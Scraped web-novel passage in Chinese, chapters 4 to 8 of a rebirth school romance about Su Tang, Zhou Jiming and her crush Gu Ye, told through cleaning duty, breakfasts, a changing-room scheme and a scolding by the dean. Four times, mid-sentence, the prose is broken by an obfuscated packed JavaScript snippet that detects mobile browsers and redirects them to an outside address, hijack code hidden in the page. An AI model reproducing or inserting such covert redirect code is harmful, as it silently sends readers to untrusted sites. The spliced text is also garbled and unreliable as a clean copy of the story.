“明白。”周既明丢下一句不明不暗的回答，然后拿着扫把朝包干区深处走去。 整个早读时间，两人都沉默不语。他们几乎是憋着一股无名火，硬生生用一个早读课的时间，完成了平时需要小半天才能打扫完的包干区。 打扫结束后，两人各自阴沉着脸分头离开。周既明默默走向教学楼的东侧楼梯，苏棠则绕到西侧楼梯，最后又各自从教室的前后门分别进入教室。 但即使两人的闹掰已经写在了脸上，班上关于他们的流言却仍传得沸沸扬扬。 张元明首先窜到周既明的座位边上，查探最新的剧情：“明哥，哄好嫂子了吗？有人看到你们在下面吵架。” “我拜托你别再乱说了。” 周既明向来擅长隐忍，再大的火气都能压得滴水不漏。但此刻，他却在众目睽睽之下朝着张元明失控怒吼。 他也理解不了自己。 他明明只想调戏苏棠一番，事后也盘算着要回来好好澄清。可当她斩钉截铁地拒绝自己时，他那理智的弦被瞬间绷断，那些原先准备好的澄清说辞，全化成了失控的怒火。 张元明见周既明真的生气，连忙退下。 班上原本闹哄哄的氛围也瞬间变得肃静。 苏棠注意到了周既明座位上的风波，但她也只是淡淡瞥了一眼，便收回了视线。上课铃声响起，她顺手从程望舒那抽了一本练习册，漫不经心地摊在课桌上充当课本。 趁任课老师还没到教室，程望舒趴了过来，轻声问道：“他们说你们在下面吵架，是真的吗？” 苏棠点点头，也趴了下去，压低嗓子说，“对，我让他别造谣了。” “哦哦。” 任课老师踏进教室的瞬间，两人立刻挺直腰背，摆出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180858|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一副专心致志准备上课的样子。 这节课上物理，苏棠想好好听听。 重生后她根本没有机会好好学习，骨子里是个好学生的她，想找个机会重新捡起高中知识。 强忍着困意，她听完了一节电场专题。 她大学念的是工商管理。高考报志愿时，她因为没有任何有相关背景的人可以咨询，家里又没有电脑，于是在最后报志愿的关头，她选了一个工商管理专业，因为这专业一听起来就能管老板！ 然后大学毕业后根本找不到对口的工作，无奈之下去抢隔壁专业的饭碗，当了一个跨国公司的负责招聘的hr。 阔别理科多年，就算她想重新学高中知识，也没那么简单。 为何会这么倒霉，重生也别到高中啊，谁会想再经历一次高三啊，苏棠心里有苦说不出。 终于等来了课间十分钟，她因为过度的体力兼脑力劳作而身心俱疲。她趴在课桌上，觉得连呼吸都费劲。 “学姐，顾野学长是你们班的吗？” 下课十分钟，正准备从教室后门出去打水的陈思思被两个手挽着手身穿校服的女学生拦截。 “是啊，咋啦？” “我们是高一的学妹，能麻烦你把这个拿给顾学长吗？” 正在说话的高一学妹没有给陈思思拒绝的余地，将手里包裹严实的礼物递到了陈思思手里，然后转身就跑了。 “我去，我答应你了吗？” 陈思思一手拿着粉色外包装的礼物，一手拿着水壶，在原地定了一会，叹了一口气，“现在去打水肯定排长龙，草。” 她怨气满满地走回教室，越过苏棠和程望舒的位置，来到了顾野的座位边上：“顾大体委，能不能劳烦您这些粉丝以后直接把东西给到你本人呢，我都帮你拿多少次了？真的，下次我都要管你拿劳务费。” 顾野接过陈思思手里的东西，看都没看就往抽屉里塞：“我找天给你带奶茶吧，我也不想的，我都不知道这些人是谁？” 顾野的态度让陈思思非常满意，她拿着水壶又走出教室，估计还是想去打水。 又有迷妹给顾野送礼物。 苏棠想起顾野刚刚的尴尬表情。 他不会把周既明的话当真吧。 她直起身来望了眼顾野的背影。 这次，她不想再留遗憾了。 也不再需要谁的助攻了。 “今天几号？”她问程望舒。 程望舒掏出抽屉里的手机，按下开关键，看了看，又把手机放了回去。 “3月13号，怎么了？” 刚好是下周，苏棠心里算了一下时间。 “没，记一下例假时间。”她胡乱找了个理由。 “要不然我明天帮你去扫吧？”程望舒突然换话题。 “不用吧，别等下低血糖了。” 苏棠下意识地拒绝，她把程望舒低血糖这个事情几乎是刻进了基因里——上了大学后的程望舒常常为了减肥过度节食，好几次和苏棠逛街的时候犯低血糖，练就了苏棠一边背人一边找附近医院的高超本领。 “那我给你送早餐吧。” “行。” 5. 第五章 第二天早上，苏棠到操场边上的包干区时，周既明已经早早在那扫着了。 她觉得有点尴尬，拿起扫把从包干区的另一头开始扫起。 黎城的三月，虽然日均温度已经去到20多度，但清晨仍透着初春的凉意。 苏棠只穿了件单薄的上衣，那种高中女生标配的素白短袖，布料透的能隐约看见肩带轮廓。她在网吧被警察抓到后就被直接送回了学校，结果现在衣服和学习资料全都留在家里，只能在宿舍翻箱倒柜找出几件压箱底的夏季衣服凑合穿。 “阿嚏——” 她突然打了个喷嚏，连忙捂住嘴巴。 远处的周既明注意到她的动静，朝她望了过来，然后径直地走到她的跟前。 “我衣服借你穿？”他低头拎起自己那件敞开的薄外套，手指勾着衣领晃了晃。 争吵过后的示好。 这是周既明的惯用套路。 重生前，她就是在周既明这种“打一巴掌给一颗糖”的推拉中，硬生生将那段友情维系了整整十年。 如果不是那场车祸让她重生回17岁，27岁的周既明此刻恐怕正绞尽脑汁地求她原谅。 “不用了，谢谢。”她尽量用一种客套的语气。 现在的她，再不想被扯进和周既明那种剪不断理还乱的畸形友情中。这一世，就只做萍水相逢的普通同学吧。 她低下头继续扫地。 但她感觉对方正在上下扫视着她。 “你是不是还在生气，昨天确实是我不对，我不应该这样和你开玩笑。” 语气一改昨日的狂妄，竟透露出几分难得的恳切。 “没事，我的语气也有点重。”苏棠抬头答道。 苏棠见周既明还准备说点什么，刚要开口却被身后的一声叫唤打断。 “苏棠——” 程望舒拿着三瓶牛奶和两袋面包朝他们走来。 苏棠这才想起，程望舒说好今天要给她带早餐。但这架势，她貌似还准备了周既明的份。 “副班长，早上好。”程望舒来到他们跟前，举起手上装着三瓶鲜奶的塑料袋，朝周既明晃了晃，“我帮苏棠带早餐，想着你应该也没来得及吃，所以也给你带了一份。” 她从塑料袋里抽出一瓶鲜奶，连同面包不由分说地塞到了周既明手里，并没有给他拒绝的机会。 然后她又把另外一份递到苏棠手里。 随后想要打开仅剩的一瓶鲜奶。 但，她向来是拧不开瓶盖的。 苏棠正想拿过她手里的的鲜奶帮忙拧开，却见她直径把鲜奶递到周既明面前，“副班长，帮我开一下吧。” 笑靥如花。 周既明将自己的鲜奶和面包往苏棠怀里一塞，示意她暂时保管。待她接过，他又顺手拿过程望舒的鲜奶，利落地拧开瓶盖递还回去。 程望舒应该是对周既明有好感的吧。 当年她就这么觉得，要不然也不会答应周既明组成什么狗屁不通的“暗恋同盟”。 当时程望舒总是有意无意地提起周既明，还总是“凑巧”出现在有周既明的场合。这些刻意的举动，让她怀疑程望舒对周既明有意思。正因如此，她才顺水推舟地答应了周既明的请求，权当送给程望舒一个人情。 她一度以为，周既明和程望舒会在一起。 重生前，她和周既明高中毕业后考上了省内唯一的九八五院校S大，而程望舒则考上了一个距离他们大学不远的一个二本院校。他们三人在同一个大学城里面，因为大学城内有互通每个大学的公交，三人在大学的前两年一直联系紧密。 那时，她没少给两人制造独处的机会。 时常在三人外出逛街或郊游途中突然“肚子疼”提前开溜，或者是聚餐时临时“导师召见”放他们鸽子。 事后程望舒都对她表示感激。 这段感情在她看来明明只差捅破最后一层窗户纸，却偏偏在周既明告白当天，以程望舒和他俩人彻底决裂收场。 这其中的原因，她实在很想知道。 但现在，她好像没有知晓的可能了。 她正想得出神，冷不防被周既明的声音拽回现实：“苏棠？” 他伸手在她眼前晃了晃，“回魂了，早餐该还我了。” 她条件反射般将怀里抱着的所有东西一股脑儿塞了过去。 周既明惊讶地望着她：“都给我？” 她猛地才意识到，她竟把自己那份早餐也糊里糊涂地递了出去，赶忙伸手拿了一份回来。 三人倚在操场边上的栏杆上吃起了早餐。 苏棠见程望舒只喝牛奶，问道：“你这样够吃吗？” “够的，碳水吃多了容易胖，我喝牛奶就行。” 程望舒说完，举起鲜奶喝了第一口，然后，上唇沾了圈白沫。 这场景，苏棠在韩剧里见过。 下一秒，男主就该俯下身子吻去那圈奶渍。想到这，她不禁打了个寒颤。 虽然这举动刻意得明显，但程望舒做起来却丝毫不显得做作。程望舒长得好看，所以她有这样做的资本。若换作苏棠这般行事，怕是要被嘲笑东施效颦。 苏棠假装没注意到程望舒的样子，低头专注地啃起手中的红豆面包。这是她最爱的口味，尤其是那里面甜而不腻、绵密软糯的红豆馅。 “擦一擦吧。”一旁的周既明发话，然后递过来两张纸巾。 先是递给程望舒，然后递给苏棠。 他看了看程望舒上唇那一抹白，眼神又回到苏棠那胡乱沾着红豆馅的嘴角。 同样是吃相狼狈，怎么人和人的差别就这么大呢？ 他昨晚一晚没睡好，反复推敲好说辞，打算今天向苏棠澄清两件事。 一是网吧那次没能及时救她的缘由，二是传他们谈恋爱那些谣言的源头。 可程望舒的突然出现，打乱了他的计划。 眼看着三人的早餐都吃得差不多了，他拿起扫把给苏棠使了个眼色，“开始吗？” 苏棠把擦拭后的纸巾丢到扫帚里，拍了拍程望舒的肩膀，“舒舒，你回去早读吧，待会这里会很晒。” 程望舒犹豫片刻，抬头望了望已经完全放亮的天色，转身朝教室走去。 留下的两人目送程望舒的背影。 “昨天......” 周既明话未说出就被苏棠打断：“你喜欢程望舒吧。” 他疑惑地望着苏棠。 苏棠看着他这副表情，脸上浮现出一抹意味深长的笑意。 “怎么说？”周既明尾音微微上扬，语气里有几分试探。 苏棠一时语塞，不知道该如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180859|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何回答。 关于他喜欢程望舒这件事，是重生前的周既明主动告知她的，除此以外，她并不掌握什么实质性的证据。 苏棠胡乱编造了一个理由：“你看她的眼神和看别人不一样。” “别人是谁？”周既明看穿了她的紧张，话语上步步紧逼。 她紧张得结结巴巴，“别人......别人就是，比如我。我觉得你看我和看她的眼神就完全不一样。” 刚刚递纸巾给她时，他嫌弃的眼神赤裸裸地挂在脸上。 周既明思索片刻：“那你也可以说我喜欢你啊，我看你的眼神和看别人的不一样。” 苏棠一惊。 真是逻辑的鬼徒。 非常擅长扭转对自己不利的局面。 她知道和他争论下去不会有什么好结果，决定闭嘴不言，埋头扫地。 周既明见苏棠闭口不言，嘴角勾起一抹冷笑，没有再追问，转身走到包干区的另一端，默默地扫起地来。 这几天他和苏棠的接触实在过于频繁。 在此之前，他和她只有在处理班级事务时才会说上一两句话。 他一直只把她当成众多乏味的书呆子中的一个，毕竟她整天只知道埋头学习，虽身为班长，但是为人处事时胆小又怯懦，在班上总是扮演着老好人的角色。 隐隐觉得哪里发生了一些变化。 这几天，她仿佛变了一个人。 先是好学生突然出现在网吧，然后还在老师面前反手卖了她，甚至面对他的调戏都能面不改色地怼回来。 他正细数着苏棠反常，全然没听到上课铃声响起。 “你不上去吗？上课了。”苏棠走到他跟前，“剩下的下午放学再扫吧。” 他抬眼看她，点了点头。 两人收拾好清扫工具，一前一后回教室。 然而事情并未按苏棠预料的发。 下午放学后，她和周既明被叫去参加年级班委会议，导致剩余卫生没能完成。 两人本想蒙混过关，谁知教导主任竟在晚自习期间亲自去操场检查，发现包干区成堆的垃圾和落叶堆积，专程到高二五班把他们揪出来，勒令他们不扫完不准回宿舍。 “啊，大晚上扫地，我的澡白洗了。”苏棠发着牢骚，不情不愿地挥舞着扫把。 周既明：“你待会回去用冷水再洗一次不就好了。” 黎城一中的宿舍热水仅在傍晚提供，学生们不得不赶在放学后的有限时间里完成洗澡任务。 “来例假咋洗冷水澡。”苏棠下意识回答。 空气突然凝固了一秒。 苏棠才惊觉，这种私密话题似乎不适合随口谈论。 她偷偷瞄了一眼周既明，可昏暗的光线下，根本辨不清他脸上的表情。 周既明注意到苏棠的视线，抬眼看她。 两个人四目相对。 苏棠正想说点什么缓解尴尬，却见周既明把浅灰色薄外套脱下，走到她身旁，将衣服轻轻披在她肩上。 “那既然这样就要多穿点啊。”他语气诚恳，丝毫不显尴尬。 他的手触碰到她肩膀的瞬间，她整个人都僵硬了起来。 看出她的尴尬，周既明特意缓解气氛。 他走向树荫深处，冲苏棠勾起嘴角：“带你玩个有意思的。” 6. 第六章 苏棠放下扫把，将披在肩上的外套穿好，跟着周既明朝树荫走去。 她快步追上他，压低声音问：“什么好玩的？” 只见他从裤袋里拿出手机，点开了手电筒功能，猫着腰钻进了一处草丛。 然后忽地站起，大声喊道：“教导主任来了！” 草丛里猛地又窜出两个黑影，手忙脚乱地翻过灌木丛，几乎是和苏棠擦身而过地逃窜离去，吓得苏棠不自觉地“啊”了一声。 “哈哈哈。”草丛里的周既明发出爽快的笑声，“好不好玩？” 他一边说着，一边从草丛那头跨过来。 苏棠：“他们在干嘛啊？” 她依稀看到，刚刚那两个黑影好似一男一女。 “还能干嘛，干高中生不能干的事呗。”周既明语气稀松平常。 黑暗中，苏棠感觉自己的脸烫得要命，她沉默着低着头。 见苏棠不说话，周既明略微感到一些尴尬，他扯起别的话题：“你那天，是为什么去网吧，难道真的只是去看剧？” 两人走回到刚刚的清扫区域，拿起扫把，一边扫一边聊起来。 “我就是查点资料，顺便看看剧，最后一天病假不想那么快回学校。”这套说辞苏棠早已对宿舍那群八卦精重复了无数遍，此刻脱口而出时，连她自己都快信以为真，“你呢？就真的去打游戏？特意翘课去打游戏？还是周一？” 周既明没想到对方会反问自己。 面对苏棠连珠炮似的发问，他先是沉默，然后试探性地问了句：“我要是告诉你，你又把我卖了怎么办？” 苏棠不禁自惭形秽。 她确实出卖过他。 但事后她也略微感到后悔，自己对重生后的周既明，掺杂了来自另一个时空的怒意。 她低下头，唇线渐渐抿直，低声说：“对不起。” 周既明：“我确实是去打游戏，但是不是为了游戏本身，我在当游戏代练。” “游戏代练？”这个词苏棠很是熟悉，2022年时，游戏代练已经是一个高度职业化的领域，虽然仍处于法律监管的灰色地带。 所以，早在2012年，这个职业就已经存在了吗？甚至连还是高中生的周既明都能涉及其中。 他很缺钱吗？ 她的思绪不禁延伸到这里。 “能赚多少钱？” “1500。” “一场一千五？”苏棠再次瞪大了眼睛。 就算是在通货膨胀后的2022，苏棠也很难想象时薪1500的工作，周既明打这把游戏也不过一个多小时，就能挣1500！ “不是天天有的，加上老板大方。”周既明语气淡淡的。 “哦，就类似年终奖那样是吗？”苏棠一副恍然大悟的样子。 说完，她又意识到自己的话里参杂了太多未来才会用到的名词，她正准备解释，周既明却“嗯”了一声。 “那你上次是咋逃掉的，你不是去厕所了吗？”苏棠又问道。 “男厕所里有暗门，通网吧的后巷。” 周既明的回答让苏棠恍然大悟，怪不得警察说厕所没人，她灵光一转马上想到一个问题：“那女厕所也有暗门吗？” 周既明哭笑不得：“我没进去过，我不知道，但我猜，应该没有。” “为啥，性别歧视吗？咋男厕所有，女厕所没有，那我下回想跑也没地跑啊。” 周既明的嘴角不受控制地翘了一下，然后装作不经意地别过脸去，“不是，女厕所的私密性比较高，不能装暗门，你......下次要跑你就直接从男厕所跑就好了。” “啊？那会不会看到不该看的啊，会长眼针的。” 周既明低下头一副认真扫地的样子，他尽可能地绷住表情，手上清扫的动作幅度越来越大。 苏棠发现他在憋笑，心跳莫名停跳了一拍，她赶紧转移话题。 “那你后面还去吗？” “嗯，其实我周末有空都会去，接一些日常的代练单，这种价格比较低，但是积少成多，只有很少的时候才会遇到上次那种大单。”周既明语气轻松。 两人一改之前剑拔弩张的气氛，竟在这个话题上相谈甚欢，气氛前所未有的融洽。 不间断的说话间，他们不知不觉就扫完了包干区。 此时已是晚自习放学后一小时，校园里除了偶尔巡逻的安保大叔，空无一人。 他们一起往各自的宿舍走去。 黎城一中的宿舍区呈前后布局，男生宿舍靠前，女生宿舍则位于靠近学校后山的校园最深处。周既明先一步到了自己所在的宿舍楼栋。 “明天早上见。”苏棠挥手告别。 但周既明却跟了上来，“我送你到女生宿舍再回来。” 苏棠顿时心底泛起一阵暖意。 重生前，如果不是发现周既明在她追求顾野这件事情上暗中作梗，她后来或许真会对他动心。 他虽然在某些事情上心机深沉，但是平日里却是对她实打实的体贴入微。 在那相安无事的十年间，他包揽了她从大学到毕业上班后的能遇到了所有搬运方面的体力活——能想到的譬如假期赶火车时的行李搬运、大学毕业后的行李打包和寄运、因为工作变动导致的几次搬家，除此以外他还是她清冷生活里的唯一的饭搭子、旅游搭子、回老家搭子。 更绝的是，他厨艺还超好。重生前大学毕业后的每一周，她都要去他出租屋蹭饭。而每一次，他都会不厌其烦地备好食材，精心烹制一桌她喜欢吃的菜，虽然嘴上仍要佯装嫌弃地嘟囔几句。 如果没有车祸，她大概率还是会和他重归于好吧。 她正恼火自己竟在怀念那个决裂了的旧友，却被身旁的声音拽回现实。 “到了，那我回去了。”周既明说完转身离去。 苏棠敲了敲一楼宿管阿姨的窗户，简明扼要地说明了情况。宿管阿姨出来替她打开宿舍楼的大门后，她径直上楼，迈向三楼的宿舍，却在走到宿舍门前停住了脚步。 衣服忘记还他了。 她摸了摸身上的薄外套，把外套脱下搭在臂弯，然后推门进了宿舍。 宿舍里的人都已经躺下了，但多数还没入睡。 苏棠借着从床帘缝隙间漏出的微光，摸索着走到了自己的床位。 她正准备爬上上铺，程望舒的头从下床床帘里伸了出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180860|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这么晚，那明早不用去了吧？” 一言惊醒梦中人。 这深更半夜的，除了零星几片落叶，想来也不会再有新扔的垃圾。 明天可以不用早起了。 “是的，明天我们一起吃早餐吧。”苏棠说完，爬上了上铺。 * 第二天，周既明依旧早早地来到包干区。 甚至比前一天还早。 他发现包干区除了零星落叶外别无杂物，三下五除二打扫干净后，他朝女生宿舍望去。 苏棠还没来。 他惊觉自己潜意识里竟在期待与苏棠见面。 一定是这几日接触过于频繁，等周末一来，一切都会恢复如常。 他朝着食堂走去，却在食堂门口和挽着手前来的苏棠和程望舒碰面。 “副班长，早上好。”程望舒热情地向他招呼。 “早。”他淡淡地回应。 眼神不自觉又朝苏棠身上望去，她又只穿了一件单薄的T恤。 明明还没入夏，怎么穿得这么清凉？ 他们一起去打了早餐，自然而然地坐到了一起。 苏棠和程望舒并肩而坐，他坐在苏棠的对面。 他瞧见她瑟缩着肩膀时不时微微发抖，忍不住开口：“昨天那个外套......” 话未说完，就被她打断：“哎呀，今天这个炒饭，炒的真是不错，粒粒分明，你们觉得呢？”一边说，一边朝着他挤眉弄眼。 他没有明白她的意思，但是也知道她大概不想让自己把话说下去。 程望舒一脸疑惑：“还好吧，这和平时没什么区别啊。” 苏棠见周既明没有说下去，埋头吃饭，没有开展新的话题。 她生怕程望舒发现自己拿了周既明的外套。 及时今早起床冷得连打几个喷嚏，她也没敢把那件衣服往身上套。 因为，程望舒分明是喜欢周既明的。 无论是程望舒昨天的异常表现，还是苏棠重生前掌握的信息，都足以让她判断，此时的程望舒对周既明绝非仅是普通同学的情谊。 她不想和程望舒之间产生嫌隙，所以在周既明提到外套时拼命使眼色，生怕他话里透出什么端倪让程望舒起疑。 但是，这举动是不是也有点显得自己做贼心虚。 早餐后，程望舒拉着苏棠去了小卖部，而周既明则独自转身上了教学楼。 从食堂走去小卖部的路上，程望舒主动问道：“那个外套是什么情况啊？” 苏棠心头一惊。 这女人的侦察意识怎么这么强？ “呃，昨晚太冷了，我和他借来穿的，他超不情愿的。”她连忙补救道。 程望舒别有深意地望着苏棠：“那你那么紧张干嘛？” “我这......我这不是怕你误会嘛？”苏棠支支吾吾。 “我误会？我误会什么啊？”程望舒故意问道。 苏棠语迟，心里暗自感叹。 这两人直接锁死吧。 心思同样缜密，观察能力都一流，就连说话风格都如出一辙地密不透风。 “你不是喜欢周既明嘛？”苏棠无奈道。 7. 第七章 “你觉得呢？”程望舒尾音上扬，带点笑意。 苏棠实在是受够这俩人戏谑的调调。 他们不如趁早在一起，省得轮番来折磨她。 虽心有不满，但她还是温言细语地回答：“我觉得有点，所以是不是呀？” 程望舒朝苏棠笑笑，“我们今天买冰柠茶吧。”说完，拉着她小跑起来。 虽未明言，却已经用行动回答了。 她们买完冰柠茶从小卖部走了出来，走去教室路上遇到了骂骂咧咧的张元明，他手里还拿着一套白色的西装服饰。 “成天就会使唤我，气死我了。” 苏棠和程望舒听罢面面相觑，然后程望舒向张元明打了声招呼：“张元明，你去哪里？” “顾野让我把他升旗服送去干洗，他给弄脏了。” 苏棠回头望了望小卖部二楼，那里确实有个干洗店。刹那间，某些记忆如潮水般涌来。 那是一些画面有些香艳的回忆。 那天苏棠正准备去食堂吃早饭，路过男生宿舍楼时，遇到了在宿舍院门旁扶着墙做深呼吸的张元明。 张元明是顾野的舍友，同时还是顾野日常事务的代理人，俗称跟班小弟。他手里拿着一套白色的类似西装面料的服饰，苏棠看出来，那应该是顾野的升旗服。 “张元明，你怎么了。”苏棠上前问道。 “班......长，早。” 张元明整个人看起来像是一个微微蜷缩的虾米，他整个人半边身倚在了墙上，保持微笑的嘴角疯狂抽搐，额头沁出的冷汗在晨光下闪闪发光，就这个时候了，他还有力气和苏棠说早。 苏棠看他另一只手捂着肚子，大概知道他现在是出了什么状况。 “你要不要去一趟医务室？或者先去一趟厕所？” “班长，你......能不能......帮我把这个衣服送去......操场的.....更衣室，顾野......在等，要来不及了。” 张元明一句话分成七八段说，最后的“来不及了”也不知道是指的顾野还是他自己，说完他便把升旗服递到苏棠手里，转身往宿舍跑去。 苏棠步伐匆匆，她感觉清晨的阳光是带着毛边的，晒得人痒痒的。她听着那不知是因为步伐加快还是别的原因而变快的心跳，来到了操场边上的更衣室门外。 黎城一中的操场边上有一个专供体育生使用的更衣室，但非体育课时间，其他学生有需要也可以自行使用。更衣室不分男女，进入大门后是满眼的浅蓝色的瓷砖地面和墙壁，一共有五个隔间。 她深吸一口气，走了进去，看到只有正中间的隔间关着门，其它几扇门都半敞着。 “笃笃笃。”她轻声敲门。 “哎呀，你也太慢了，预备铃都响第二遍了。” 门后传来顾野埋怨的声音，话音未落的同时，门从里面被打开，顾野光着上半身，从门后伸出半边身来，没有任何防备。 显然，他以为敲门的是张元明。 “班长......怎么是你？” 顾野那兼顾骨感和肌肉感的上半身就这样赤裸裸地暴露在苏棠眼前，她盯着他那锋利的锁骨，晃了一下神立马把头转了过去，伸出手把衣服递了过去。 她感到耳背微微发热。 后来她才从张元明口中得知，原来他一直忘了去干洗店取回顾野的升旗服，这才有了当时那一幕。 这么多年来，这是苏棠和顾野距离最近的一次。 这么久了，苏棠还是忘不了这一幕。她知道，就算顾野没有救自己的妈妈，她也无法抵抗这样的接触。本质上她也是一个以貌取人，色令昏心的俗人啊。 她又想起了前几天她打起的算盘。 这下时间更加确定了，她决定下周一好好重温这个场景。 接下来的几天里，她都沉浸在对下周一的期待中。 她甚至记不清这几天上过什么课，连打扫包干区时周既明闲聊的话语都成了模糊片段，周末回家更是除了记得带回换洗衣服和学习资料外，其余记忆一片空白。 她沉浸在一场漫长的白日春梦当中。 很快，时间来到苏棠期待的周一。 熟悉的清晨，男生宿舍楼门外相同的位置，同样脸色发白的张元明。 苏棠在附近等候多时，看准时机迎了上去。 “班......” “给我吧，我帮你拿给顾野。” 苏棠没等张元明说开场白，就二话不说地把他手里的升旗服拿走，然后转身向操场快步走去。 她再次听到那个加速的心跳声。 她很是雀跃，好像要参演一场精彩绝伦的电影。 路过操场边上的时候，她故意绕着教学楼走了过去。她不想让周既明看见，但她总感觉远处的视线隔着墙壁最后还是定位在她的身上。 他又没有透视眼，苏棠自我安慰。 她停在更衣室门口，脚步一顿，深深吸了口气。 然后走了进去。 眼前和场景如同电影播放般和她的回忆形成画面重叠，她一手拿着升旗服，一手正准备朝第三间隔间门敲去。 就在她的手即将碰到门板的刹那，一双胳膊突然从背后环抱住她，同时捂住她的眼睛，猛地将她拖离那扇门。 她“啊”了一声，紧接着，手中的升旗服也被一把夺走。 “顾野，是我。”周既明的声音压过了她的惊呼声。 身后的人是周既明！ 她紧张得发不出声音，只能大口喘息。 “既明，怎么了？”隔间内的顾野发出疑问。 周既明一手捂着苏棠的眼睛，身体紧贴着她，朝顾野所在的门口方向微微挪动，“我给你送升旗服，你开一下门。” 她几乎能感觉到身后周既明的体温，和他说话间起伏的胸膛。 门缝刚裂开一线，周既明便在顾野伸出手的刹那将衣服递了过去，随即转身拽着她的手腕大步离开了更衣室。 刚踏出更衣室，骤然袭来的阳光刺得她睁不开眼，方才被捂住的双眼还未能适应光线，她慌忙抬手遮挡。 周既明仍死死攥着她的手腕往前拖，任她大声呼喊“放开”，他也丝毫没有要放手和停下的意思。 直到两人走到操场边缘的包干区，彻底脱离更衣室的视线范围，他才终于停步，松开了她的手腕。 “你干嘛？”苏棠气急败坏地吼道。 他再一次，横插一脚，阻断了她和顾野的接触。 她恶狠狠地看着他。 此时周既明的呼吸也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180861|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是急促，不知是因为情绪激动，还是方才拉着她走得太快的缘故。 “你想干嘛？”周既明略微平复呼吸后，冷声开口，“孤男寡女，密闭空间，你想干嘛？” “关你什么事？我就是要借这个机会和顾野亲密接触，我明明白白告诉你，你少来多管闲事。”苏棠情绪失控，不管不顾地将心里话全都说了出来。 亲密接触。 这个词像一记闷雷，震得他思绪一片混沌，竟一时间不知道该如何回答。 他甚至无法理解事情为何回演变成这般局面。 清晨他在男生宿舍门口撞见苏棠拿过张元明的衣服，转身向操场奔去，便鬼使神差地跟了上去，却在更衣室门口瞥见她脸上那种紧张又期待的神情，瞬间失控般地冲了上去。 而后爆发了这场激烈的争吵。 今天是周一，有升旗仪式，操场上早已聚集了不少等待集合的同学。就在他们争执间，班上好几个同学从他们身边擦肩而过。 周既明还在思忖要如何回击苏棠，忽然有人从背后按住他的肩膀。 “你们两个，现在到教务处来一下。”不知何时，教导主任站在两人身后。 说完，他头也不回地朝教务处走去，途中还拨通了电话。 周既明和苏棠只能跟着上去。 两人刚走到教务处门口，便撞见了匆匆赶来的周书瑶。 周书瑶压低嗓音，咬牙切齿地在门口对两人说道：“你们又给我闯什么祸了？” 随即，三人一起进了教务处。 因为正值升旗仪式，教务处的老师都去了操场，现场只有教导主任以及刚赶来的三人。 周书瑶率先发话：“李主任，他们又犯了什么错？” “你让他们自己说。”教导主任冷着脸，手指在办公桌上敲了敲。 周书瑶转身向两人询问：“你们又做什么了？” “我不知道。”苏棠一副无辜的表情。 周书瑶又望向周既明，他却也只是摇摇头。 无奈，周书瑶只能再次向教导主任发问。 “他们两个，借着打扫的时机，在操场上卿卿我我，拉拉扯扯，最后一起从更衣室出来。”教导主任语气激烈地说道，“我最近都在抓早恋，那个更衣室我迟早要给封掉，我是想不到他们敢顶风作案。” “我没有。”苏棠下意识反驳。 她什么时候和周既明卿卿我我了？而且说的顺序也不对，是先从更衣室出来，才在操场上拉拉扯扯。 她刚从周既明那儿受的气还没消，如今又因为无中生有的罪名被叫到教务处，此刻满脸都是委屈。 教导主任猛地拍案而起：“你说没有，那我看到的是什么？” 周书瑶急忙用胳膊肘轻轻碰了碰周既明，“你赶紧说说是什么情况。” 教导主任抬起手示意旁人先不要说话，然后朝着苏棠厉声质问道：“你到底是不是和他早恋？痛快点承认。” 他直接给这个事情定了性。 “谁跟他早恋？！”苏棠几乎是吼了出来，声音里带着明显的愤怒和委屈，“我和谁早恋都不可能和他早恋，我要是和他早恋我出门被车撞。” 好毒的誓言。 余下三人皆被这诅咒般的誓言震住，空气瞬间凝固。 8. 第八章 周既明身体稍僵，觉得苏棠的话实在是过于羞辱他了。 他有点懊悔自己跟了上去。 原以为这几日打扫包干区时气氛融洽，就算称不上好友，至少也是相熟的同学。现在看来，她是对他相当厌恶啊。 他打破了凝固的气氛。 